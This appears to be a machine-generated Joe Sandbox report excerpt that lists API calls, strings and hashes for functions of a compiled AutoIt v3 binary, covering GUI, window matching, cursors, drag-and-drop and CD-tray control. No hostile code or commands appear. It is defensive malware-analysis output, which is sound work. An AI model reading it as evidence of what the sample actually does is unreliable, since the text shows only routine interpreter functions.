GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00F244D2
_wcscpy.LIBCMT ref: 00F24500
_wcscmp.LIBCMT ref: 00F2450B
_wcscat.LIBCMT ref: 00F24521
_wcsstr.LIBCMT ref: 00F2452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00F24548
_wcscat.LIBCMT ref: 00F24591
_wcscat.LIBCMT ref: 00F24598
_wcsncpy.LIBCMT ref: 00F245C3

Strings

%u.%u.%u.%u, xrefs: 00F24626
DefaultLangCodepage, xrefs: 00F245AB
\VarFileInfo\Translation, xrefs: 00F24540
StringFileInfo\, xrefs: 00F2451B
04090000, xrefs: 00F2457E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 3314746ff34a304de06c2c7aa7382d0090e5ecd7b9f57e08c1164edf6d218702
Instruction ID: a23cced8229fc83965a460bb1aa72670f140706201fcc7617db9620554152883
Opcode Fuzzy Hash: 3314746ff34a304de06c2c7aa7382d0090e5ecd7b9f57e08c1164edf6d218702
Instruction Fuzzy Hash: 8741F9329402587BDB10AB759C07FBF7BECDF41710F04006AFA05F6182EA75E901A6A6

Function 00EC27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EC28BC
GetSystemMetrics.USER32(00000007), ref: 00EC28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EC28EF
GetSystemMetrics.USER32(00000008), ref: 00EC28F7
GetSystemMetrics.USER32(00000004), ref: 00EC291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00EC2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00EC2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00EC297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00EC2990
GetClientRect.USER32(00000000,000000FF), ref: 00EC29AE
GetStockObject.GDI32(00000011), ref: 00EC29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00EC29D5

Part of subcall function 00EC2344: GetCursorPos.USER32(?), ref: 00EC2357
Part of subcall function 00EC2344: ScreenToClient.USER32(00F857B0,?), ref: 00EC2374
Part of subcall function 00EC2344: GetAsyncKeyState.USER32(00000001), ref: 00EC2399
Part of subcall function 00EC2344: GetAsyncKeyState.USER32(00000002), ref: 00EC23A7

SetTimer.USER32(00000000,00000000,00000028,00EC1256), ref: 00EC29FC

Strings

AutoIt v3 GUI, xrefs: 00EC2974

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: c2da83fb9d889c5a5ef7940f06c3c6e9331de1a70bf2f25668f293044c44bfde
Instruction ID: 672a2783cc6578d190e4f2cd8beb4f2fc0b8cc7e435ab2ec267bcaca11032fdd
Opcode Fuzzy Hash: c2da83fb9d889c5a5ef7940f06c3c6e9331de1a70bf2f25668f293044c44bfde
Instruction Fuzzy Hash: 26B17B75A0020EEFDB14DFA8CD45FEE7BB4FB08714F205229FA15A62A0DB749851DB50

Function 00F1A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00F1A47A
__swprintf.LIBCMT ref: 00F1A51B
_wcscmp.LIBCMT ref: 00F1A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00F1A583
_wcscmp.LIBCMT ref: 00F1A5BF
GetClassNameW.USER32(?,?,00000400), ref: 00F1A5F6
GetDlgCtrlID.USER32(?), ref: 00F1A648
GetWindowRect.USER32(?,?), ref: 00F1A67E
GetParent.USER32(?), ref: 00F1A69C
ScreenToClient.USER32(00000000), ref: 00F1A6A3
GetClassNameW.USER32(?,?,00000100), ref: 00F1A71D
_wcscmp.LIBCMT ref: 00F1A731
GetWindowTextW.USER32(?,?,00000400), ref: 00F1A757
_wcscmp.LIBCMT ref: 00F1A76B

Part of subcall function 00EE362C: _iswctype.LIBCMT ref: 00EE3634

Strings

%s%u, xrefs: 00F1A515

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: c137e749726f3a4d6ef2d0d0fc6b1da2e13d23afee9bd0eddcfb3b326c946fe2
Instruction ID: 7d80318b96cf7ae744c9b3088fc5345703950a16edac6b0330b0a5dad517bb8f
Opcode Fuzzy Hash: c137e749726f3a4d6ef2d0d0fc6b1da2e13d23afee9bd0eddcfb3b326c946fe2
Instruction Fuzzy Hash: B2A1F331605306AFD715DF60C884FEAB7E8FF44320F048529F999D2190EB30EA99DB92

Function 00F1AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00F1AF18
_wcscmp.LIBCMT ref: 00F1AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 00F1AF51
CharUpperBuffW.USER32(?,00000000), ref: 00F1AF6E
_wcscmp.LIBCMT ref: 00F1AF8C
_wcsstr.LIBCMT ref: 00F1AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00F1AFD5
_wcscmp.LIBCMT ref: 00F1AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 00F1B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 00F1B055
_wcscmp.LIBCMT ref: 00F1B065
GetClassNameW.USER32(00000010,?,00000400), ref: 00F1B08D
GetWindowRect.USER32(00000004,?), ref: 00F1B0F6

Strings

ThumbnailClass, xrefs: 00F1AFE0, 00F1B060
@, xrefs: 00F1AEF9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 7de10fe9fa8d798a7c26a79861790fb6ec965a944621cc6e71db48f9038a6c5d
Instruction ID: e0651819925e28992d764b39964d03d50698e4175960158fd0de12bbb0e63744
Opcode Fuzzy Hash: 7de10fe9fa8d798a7c26a79861790fb6ec965a944621cc6e71db48f9038a6c5d
Instruction Fuzzy Hash: C281C271508309EFDB04DF20C885FAA77D8EF44324F04846AFD999A096DB34DD8ADB61

Function 00F1ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00F1AC33

Strings

[CLASS:, xrefs: 00F1AC83
[ALL, xrefs: 00F1ACD9
[LAST, xrefs: 00F1ACE0
ACTIVE, xrefs: 00F1AC0E
[HANDLE:, xrefs: 00F1AC3F
HANDLE=, xrefs: 00F1AC2C
[REGEXPTITLE:, xrefs: 00F1AC5B
REGEXP=, xrefs: 00F1AC48
ALL, xrefs: 00F1ACC7
CLASSNAME=, xrefs: 00F1AC70
[ACTIVE, xrefs: 00F1AC20
LAST, xrefs: 00F1ABF8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 784ecc65eb59a91ac838782fa9aa0b96162d059ba291cc3ffd36a10656a91168
Instruction ID: ae0af8d19f5a7ab1201a988716d1035a9ad8b32043cfb58559089f970691313e
Opcode Fuzzy Hash: 784ecc65eb59a91ac838782fa9aa0b96162d059ba291cc3ffd36a10656a91168
Instruction Fuzzy Hash: BF319231948309A6FA10FA64DE03FEE77A49B10720F20502EF455710E1EA66AF44AA93

Function 00F34FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00F35013
LoadCursorW.USER32(00000000,00007F00), ref: 00F3501E
LoadCursorW.USER32(00000000,00007F03), ref: 00F35029
LoadCursorW.USER32(00000000,00007F8B), ref: 00F35034
LoadCursorW.USER32(00000000,00007F01), ref: 00F3503F
LoadCursorW.USER32(00000000,00007F81), ref: 00F3504A
LoadCursorW.USER32(00000000,00007F88), ref: 00F35055
LoadCursorW.USER32(00000000,00007F80), ref: 00F35060
LoadCursorW.USER32(00000000,00007F86), ref: 00F3506B
LoadCursorW.USER32(00000000,00007F83), ref: 00F35076
LoadCursorW.USER32(00000000,00007F85), ref: 00F35081
LoadCursorW.USER32(00000000,00007F82), ref: 00F3508C
LoadCursorW.USER32(00000000,00007F84), ref: 00F35097
LoadCursorW.USER32(00000000,00007F04), ref: 00F350A2
LoadCursorW.USER32(00000000,00007F02), ref: 00F350AD
LoadCursorW.USER32(00000000,00007F89), ref: 00F350B8
GetCursorInfo.USER32(?), ref: 00F350C8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 6d798757a61b3deb139544fa78e621cb699fdae6f21604514787d2e46a44dd2f
Instruction ID: c3017f0e30a0ca20ce63302ebe7866c4cd2a372ac8373398ff2eb933bf451819
Opcode Fuzzy Hash: 6d798757a61b3deb139544fa78e621cb699fdae6f21604514787d2e46a44dd2f
Instruction Fuzzy Hash: C23115B1D0831E6ADF109FB68C8995FBFE8FF04760F50452AA50CE7280DA79A5008F91

Function 00F4A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F4A259
DestroyWindow.USER32(?,?), ref: 00F4A2D3

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00F4A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00F4A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F4A382
DestroyWindow.USER32(00000000), ref: 00F4A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00EC0000,00000000), ref: 00F4A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F4A3F4
GetDesktopWindow.USER32 ref: 00F4A40D
GetWindowRect.USER32(00000000), ref: 00F4A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00F4A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00F4A444

Part of subcall function 00EC25DB: GetWindowLongW.USER32(?,000000EB), ref: 00EC25EC

Strings

tooltips_class32, xrefs: 00F4A346, 00F4A3D4
0, xrefs: 00F4A26F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 8f4f21d461f9f838558700dd82c06dca2d0fc5fe8eba41eb4d5587dcb59181f9
Instruction ID: 670d788c1c1392243cbfa7fc6878bb3a8ed0bfd71cc6995fcf3318fd0509c4e4
Opcode Fuzzy Hash: 8f4f21d461f9f838558700dd82c06dca2d0fc5fe8eba41eb4d5587dcb59181f9
Instruction Fuzzy Hash: DF719A74580208AFD720CF28CC48FAA7BE6FB99710F04451DFD89972B0D775A946EB52

Function 00F4C5FE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

DragQueryPoint.SHELL32(?,?), ref: 00F4C627

Part of subcall function 00F4AB37: ClientToScreen.USER32(?,?), ref: 00F4AB60
Part of subcall function 00F4AB37: GetWindowRect.USER32(?,?), ref: 00F4ABD6
Part of subcall function 00F4AB37: PtInRect.USER32(?,?,00F4C014), ref: 00F4ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 00F4C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00F4C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00F4C6BE
_wcscat.LIBCMT ref: 00F4C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00F4C705
SendMessageW.USER32(?,000000B0,?,?), ref: 00F4C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 00F4C735
SendMessageW.USER32(?,000000B1,?,?), ref: 00F4C757
DragFinish.SHELL32(?), ref: 00F4C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00F4C851

Strings

@GUI_DRAGFILE, xrefs: 00F4C800
@GUI_DROPID, xrefs: 00F4C77E
@GUI_DRAGID, xrefs: 00F4C7C9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 748a8b8f808f7099fc6c75f2bba1a9c2ff1ad1833049aede97c02fe7d2f31538
Instruction ID: 91917c2ff3d7011f3d024576ccfcec37771714d5ab826279db353b973d363756
Opcode Fuzzy Hash: 748a8b8f808f7099fc6c75f2bba1a9c2ff1ad1833049aede97c02fe7d2f31538
Instruction Fuzzy Hash: 9A61AD71108304AFC701EF64CD85EAFBBE8EF89750F00092EF999931A1DB319949DB92

Function 00F44392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F44424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F4446F

Strings

EXPAND, xrefs: 00F44521
GETTOTALCOUNT, xrefs: 00F44456
ISCHECKED, xrefs: 00F445F2
EXISTS, xrefs: 00F444D8
COLLAPSE, xrefs: 00F444B5
SELECT, xrefs: 00F44620
UNCHECK, xrefs: 00F4464B
GETSELECTED, xrefs: 00F4457F
GETITEMCOUNT, xrefs: 00F44551
GETTEXT, xrefs: 00F445C2
CHECK, xrefs: 00F4448F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 724dce268cca03ccf71d6b462172fc587ce81bce93031f5cfad2746461949ae8
Instruction ID: 023ef7515c65fe717e5609da95009a5108a670512185f0da68c695e1f076b4e1
Opcode Fuzzy Hash: 724dce268cca03ccf71d6b462172fc587ce81bce93031f5cfad2746461949ae8
Instruction Fuzzy Hash: 09916D716047019BCB04EF10C951B6EBBE1AF95350F05846CEC966B3A3CB75ED8AEB81

Function 00F4B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00F4B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00F491C2), ref: 00F4B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00F4B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00F4B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00F4B9C3
FreeLibrary.KERNEL32(?), ref: 00F4B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00F4B9DF
DestroyIcon.USER32(?,?,?,?,?,00F491C2), ref: 00F4B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00F4BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00F4BA17

Part of subcall function 00EE2EFD: __wcsicmp_l.LIBCMT ref: 00EE2F86

Strings

.exe, xrefs: 00F4B84A
.icl, xrefs: 00F4B82A
.dll, xrefs: 00F4B86D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: cbc5a3275037e93e8febdedf3f1ed9aa76444bdff3d78bbbfc6e2de1d8404c6a
Instruction ID: 808837f1753527cc03b8ec64285e2f81e8d11fe2399f507998a9f99cea3ea057
Opcode Fuzzy Hash: cbc5a3275037e93e8febdedf3f1ed9aa76444bdff3d78bbbfc6e2de1d8404c6a
Instruction Fuzzy Hash: 2D61CD71940219BAEB14DF64CC45FBA7BACEB08720F10411AFE15E61D2DB74DA81EBA0

Function 00F29C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00F29C7F

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00F29CA0
__swprintf.LIBCMT ref: 00F29CF9
__swprintf.LIBCMT ref: 00F29D12
_wprintf.LIBCMT ref: 00F29DB9
_wprintf.LIBCMT ref: 00F29DD7

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00F29DB4
"%s" (%d) : ==> %s:, xrefs: 00F29DD2
^ ERROR , xrefs: 00F29D4E
Incorrect parameters to object property !, xrefs: 00F29D5B
Line %d (File "%s"):, xrefs: 00F29CF3, 00F29D0C
Error: , xrefs: 00F29D81

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 4649178950d087b7239af34047ea6c9ee64bb4c3dcc8e9a9c656dd3c72f61f9f
Instruction ID: 33fdb3c29eb9fa33702b07f5ada6999d4b77e1800081b0f72240bc3decbf50af
Opcode Fuzzy Hash: 4649178950d087b7239af34047ea6c9ee64bb4c3dcc8e9a9c656dd3c72f61f9f
Instruction Fuzzy Hash: DA51B53290050AABCF14EBE0DE46EEEB7B8AF14310F500065F50972061DB726F5AEF61

Function 00F2A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

CharLowerBuffW.USER32(?,?), ref: 00F2A3CB
GetDriveTypeW.KERNEL32 ref: 00F2A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F2A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F2A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F2A4C5

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

Strings

open , xrefs: 00F2A427
open, xrefs: 00F2A3F2
close, xrefs: 00F2A3D1
wait, xrefs: 00F2A482
set cd door , xrefs: 00F2A466
closed, xrefs: 00F2A3DF, 00F2A3E8
type cdaudio alias cd wait, xrefs: 00F2A443
close cd wait, xrefs: 00F2A4B0

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 83093b81bd6bf216fd80d2f20eb95b86e3efded9b30fcd311590315aec55647a
Instruction ID: 8ce96c069e4318cb7163db7cb240220e19619f10b749b5660572aafa657597eb
Opcode Fuzzy Hash: 83093b81bd6bf216fd80d2f20eb95b86e3efded9b30fcd311590315aec55647a
Instruction Fuzzy Hash: 00515C725043059FC700EF20C985D6AB7E4FF98758F00886DF89A67262DB72ED0ADB52

Function 00F1F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,00EFE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 00F1F8DF
LoadStringW.USER32(00000000,?,00EFE029,00000001), ref: 00F1F8E8

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

GetModuleHandleW.KERNEL32(00000000,00F85310,?,00000FFF,?,?,00EFE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 00F1F90A
LoadStringW.USER32(00000000,?,00EFE029,00000001), ref: 00F1F90D
__swprintf.LIBCMT ref: 00F1F95D
